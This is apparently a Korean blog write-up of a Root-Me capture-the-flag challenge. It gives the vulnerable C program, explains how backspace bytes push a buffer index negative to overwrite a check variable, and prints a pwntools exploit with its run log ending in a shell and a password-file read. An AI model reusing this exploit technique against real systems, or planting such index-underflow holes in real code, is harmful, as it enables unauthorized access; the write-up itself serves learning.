1. intro
2. code 및 분석
2.1. code
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void shell(void);
int main()
{
char buffer[64];
int check;
int i = 0;
int count = 0;
printf("Enter your name: ");
fflush(stdout);
while(1)
{
if(count >= 64)
printf("Oh no...Sorry !\n");
if(check == 0xbffffabc)
shell();
else
{
read(fileno(stdin),&i,1);
switch(i)
{
case '\n':
printf("\a");
break;
case 0x08:
count--;
printf("\b");
break;
case 0x04:
printf("\t");
count++;
break;
case 0x90:
printf("\a");
count++;
break;
default:
buffer[count] = i;
count++;
break;
}
}
}
}
void shell(void)
{
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
2.2. 분석
문제에 집중이 안돼서 힘들게 풀었다;;;
우선 코드에서 보듯이
buffer 변수가 check 변수보다 먼저 선언되었기 때문에 stack에서 더 높은 주소에 위치한다.
그리고 count 변수가 64보다 크면 oh no. sorry라는 문자열을 출력해주고,
check 변수가 0xbffffabc가 되면 shell을 실행시켜주며
그게 아니라면 read 함수를 통해 값을 1 byte 받아들이고,
그 값에 따라 switch 함수를 통해 특정 동작을 하게 된다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
count 변수를 조작할 수 있기에 임의의 위치에 값을 쓸 수 있다.
3.2. 공격 준비
switch 함수 내에서 여기서 눈여겨봐야하는 부분은 0x08과 default 부분 이다.
예상하는 것과 같이 0x08을 통해 count 변수를 마이너스 값으로 낮추고,
거기에 stdin으로 입력 받은 값을 쓰면 된다.
우선 문제에서 낚인 부분 하나.
oh no...sorry 라는 문구는 아무 의미 없고 그냥 count 변수의 값이 64보다 크거나 같다는 의미이다.
(사실 음수로 내려가야하기 때문에 출력되면 안되지만)
그리고 두번째.
read 함수로 값을 받을때
read(stdin,&i,1)
이라면 stdin으로 &i 변수에 "1byte만 받는다." 가 아닌 입력받은 값의 앞에서 1byte 만 사용하겠다. 라는 의미라는 점이다.
즉, 12345 값을 넣으면 총 6 byte가 입력된 것이며, 이것이 차례대로 read 함수로 읽여지며,
(엔터, 즉 \n도 입력되었으니 6byte이다.)
1 byte만 입력되고 값이 사라질 것으로 생각되지만 사실은 남아있다가 자동으로 다음 입력 값으로 사용하게 된다.
그러므로 페이로드는
0x08을 4번 입력해서 -4 로의 check 변수 변경
그리고 0xbffffabc 입력
이 된다.
4. exploit
from pwn import *
s = ssh(user='app-systeme-ch16',host='challenge02.root-me.org',port=2222,password='app-systeme-ch16')
p=s.process('./ch16')
print (p.recv(1024))
p.send(p32(0x08080808))
p.sendline(p32(0xbffffabc))
p.interactive()
┌──(kali㉿kali)-[~]
└─$ python a.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Connecting to challenge02.root-me.org on port 2222: Done
[*] app-systeme-ch16@challenge02.root-me.org:
Distro Ubuntu 18.04
OS: linux
Arch: i386
Version: 5.4.0
ASLR: Disabled
[+] Starting remote process bytearray(b'./ch16') on challenge02.root-me.org: pid 28901
b'Enter your name: '
[*] Switching to interactive mode
app-systeme-ch16-cracked@challenge02:~$ app-systeme-ch16-cracked@challenge02:~$ $ id
uid=1216(app-systeme-ch16-cracked) gid=1116(app-systeme-ch16) groups=1116(app-systeme-ch16),100(users)
app-systeme-ch16-cracked@challenge02:~$ $ cat .passwd
-------------- #플래그는 삭제
'Wargame > Root me' 카테고리의 다른 글
[App-System] ELF x86 - BSS buffer overflow (0) | 2022.07.08 |
---|---|
[App-System] ELF x86 - Use After Free - basic (0) | 2022.07.08 |
[App-System] ELF x86 - Race condition (0) | 2022.07.07 |
[App-System] ELF x86 - Format string bug basic 2 (0) | 2022.07.04 |
[App-System] ELF x64 - Stack buffer overflow - basic (0) | 2022.07.04 |